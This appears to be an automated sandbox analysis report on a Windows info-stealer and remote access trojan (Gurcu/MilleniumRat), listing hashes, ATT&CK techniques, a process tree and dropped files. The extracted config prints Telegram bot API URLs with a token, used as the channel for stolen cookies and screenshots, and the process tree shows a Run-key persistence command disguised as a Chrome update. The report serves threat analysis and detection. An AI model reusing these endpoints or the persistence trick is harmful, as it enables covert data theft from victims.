gurcu | 6193641a4c0d946ee42bb7b2252d744bd847c7c4fcb86c92e903a9cc2db51420

General

Target

built (3).exe
Size

5.6MB
MD5

341672988233011e8a9844c5915e1ba3
SHA1

5dced09c57427e9a1f58176007e3f6a6a3c7bac4
SHA256

6193641a4c0d946ee42bb7b2252d744bd847c7c4fcb86c92e903a9cc2db51420
SHA512

e6933e809653e363dac0a8069fbc04e7950eb190ee8c99afcad4c54f7c9247783421363ab7eef87d9bc55b8c785862e52c7d5a33e0850405803a313bef9bdd26
SSDEEP

98304:/itl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:/zOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Score

10^/10

gurcu milleniumrat discovery persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7752972529:AAEtMsfGe--_VCXGOgzbXYHwWxpOQxGFJN0/sendDocument?chat_id=-4591618577&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7752972529:AAEtMsfGe--_VCXGOgzbXYHwWxpOQxGFJN0/sendMessage?chat_id=-4591618577

https://api.telegram.org/bot7752972529:AAEtMsfGe--_VCXGOgzbXYHwWxpOQxGFJN0/getUpdates?offset=-

https://api.telegram.org/bot7752972529:AAEtMsfGe--_VCXGOgzbXYHwWxpOQxGFJN0/sendDocument?chat_id=-4591618577&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

built (3).exeUpdate.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	built (3).exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 1 IoCs

Processes:

Update.exe

pid process

2880 Update.exe
Loads dropped DLL 2 IoCs

Processes:

built (3).exeUpdate.exe

pid process

4524 built (3).exe
2880 Update.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

pid	process
2880	Update.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

8 raw.githubusercontent.com
9 raw.githubusercontent.com
25 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

5 ip-api.com
Enumerates processes with tasklist 1 TTPs 1 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exe

pid process

2000 tasklist.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com
25	raw.githubusercontent.com

flow	ioc
5	ip-api.com

pid	process
2000	tasklist.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Update.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1812 timeout.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

956 reg.exe

pid	process
1812	timeout.exe

pid	process
956	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

built (3).exeUpdate.exe

pid	process
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
4524	built (3).exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe
2880	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

built (3).exetasklist.exeUpdate.exe

description pid process

Token: SeDebugPrivilege 4524 built (3).exe
Token: SeDebugPrivilege 2000 tasklist.exe
Token: SeDebugPrivilege 2880 Update.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Update.exe

pid process

2880 Update.exe

description	pid	process
Token: SeDebugPrivilege	4524	built (3).exe
Token: SeDebugPrivilege	2000	tasklist.exe
Token: SeDebugPrivilege	2880	Update.exe

pid	process
2880	Update.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

built (3).execmd.exeUpdate.execmd.exe

description	pid	process	target process
PID 4524 wrote to memory of 1092	4524	built (3).exe	cmd.exe
PID 4524 wrote to memory of 1092	4524	built (3).exe	cmd.exe
PID 1092 wrote to memory of 4272	1092	cmd.exe	chcp.com
PID 1092 wrote to memory of 4272	1092	cmd.exe	chcp.com
PID 1092 wrote to memory of 2000	1092	cmd.exe	tasklist.exe
PID 1092 wrote to memory of 2000	1092	cmd.exe	tasklist.exe
PID 1092 wrote to memory of 5116	1092	cmd.exe	find.exe
PID 1092 wrote to memory of 5116	1092	cmd.exe	find.exe
PID 1092 wrote to memory of 1812	1092	cmd.exe	timeout.exe
PID 1092 wrote to memory of 1812	1092	cmd.exe	timeout.exe
PID 1092 wrote to memory of 2880	1092	cmd.exe	Update.exe
PID 1092 wrote to memory of 2880	1092	cmd.exe	Update.exe
PID 2880 wrote to memory of 540	2880	Update.exe	cmd.exe
PID 2880 wrote to memory of 540	2880	Update.exe	cmd.exe
PID 540 wrote to memory of 956	540	cmd.exe	reg.exe
PID 540 wrote to memory of 956	540	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\built (3).exe
"C:\Users\Admin\AppData\Local\Temp\built (3).exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpC19A.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpC19A.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4272
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 4524"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2000
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:5116
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1812
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2880
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:540
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Process Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC19A.tmp.bat

Filesize
286B

MD5
04908cd2162bb22d2b7cad5beaf641b8

SHA1
27c9bb81be840af0d317fc92cba20a2e1b9fa6c2

SHA256
7d3435045fbb87713ac18b0f7b322118f963702d18cc699c284bf83ac475583c

SHA512
38a3e1eca697a1ff5b6c4f797d168483a170f7beda480b6a11271c330c1066d67d1696c12d00132bbf9bdcce156deccff50ad9c0091dca0ab5ad47f77c90411a

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
341672988233011e8a9844c5915e1ba3

SHA1
5dced09c57427e9a1f58176007e3f6a6a3c7bac4

SHA256
6193641a4c0d946ee42bb7b2252d744bd847c7c4fcb86c92e903a9cc2db51420

SHA512
e6933e809653e363dac0a8069fbc04e7950eb190ee8c99afcad4c54f7c9247783421363ab7eef87d9bc55b8c785862e52c7d5a33e0850405803a313bef9bdd26

Download Submit
memory/2880-23-0x0000028EF2600000-0x0000028EF2650000-memory.dmp

Filesize
320KB

Download
memory/2880-24-0x0000028EF2650000-0x0000028EF2672000-memory.dmp

Filesize
136KB

Download
memory/2880-47-0x0000028EF2720000-0x0000028EF2732000-memory.dmp

Filesize
72KB

Download
memory/2880-28-0x0000028EF33E0000-0x0000028EF370E000-memory.dmp

Filesize
3.2MB

Download
memory/2880-27-0x0000028EF2680000-0x0000028EF26A6000-memory.dmp

Filesize
152KB

Download
memory/2880-26-0x0000028EF26C0000-0x0000028EF26FA000-memory.dmp

Filesize
232KB

Download
memory/2880-22-0x0000028EF2550000-0x0000028EF2602000-memory.dmp

Filesize
712KB

Download
memory/2880-20-0x0000028EF1B70000-0x0000028EF1BDA000-memory.dmp

Filesize
424KB

Download
memory/4524-1-0x000001D716640000-0x000001D716BE2000-memory.dmp

Filesize
5.6MB

Download
memory/4524-0-0x00007FFCED2A3000-0x00007FFCED2A5000-memory.dmp

Filesize
8KB

Download
memory/4524-7-0x00007FFCED2A0000-0x00007FFCEDD61000-memory.dmp

Filesize
10.8MB

Download
memory/4524-6-0x000001D731110000-0x000001D731186000-memory.dmp

Filesize
472KB

Download
memory/4524-13-0x00007FFCED2A0000-0x00007FFCEDD61000-memory.dmp

Filesize
10.8MB

Download
memory/4524-9-0x000001D718810000-0x000001D71881A000-memory.dmp

Filesize
40KB

Download
memory/4524-8-0x000001D7187F0000-0x000001D71880E000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads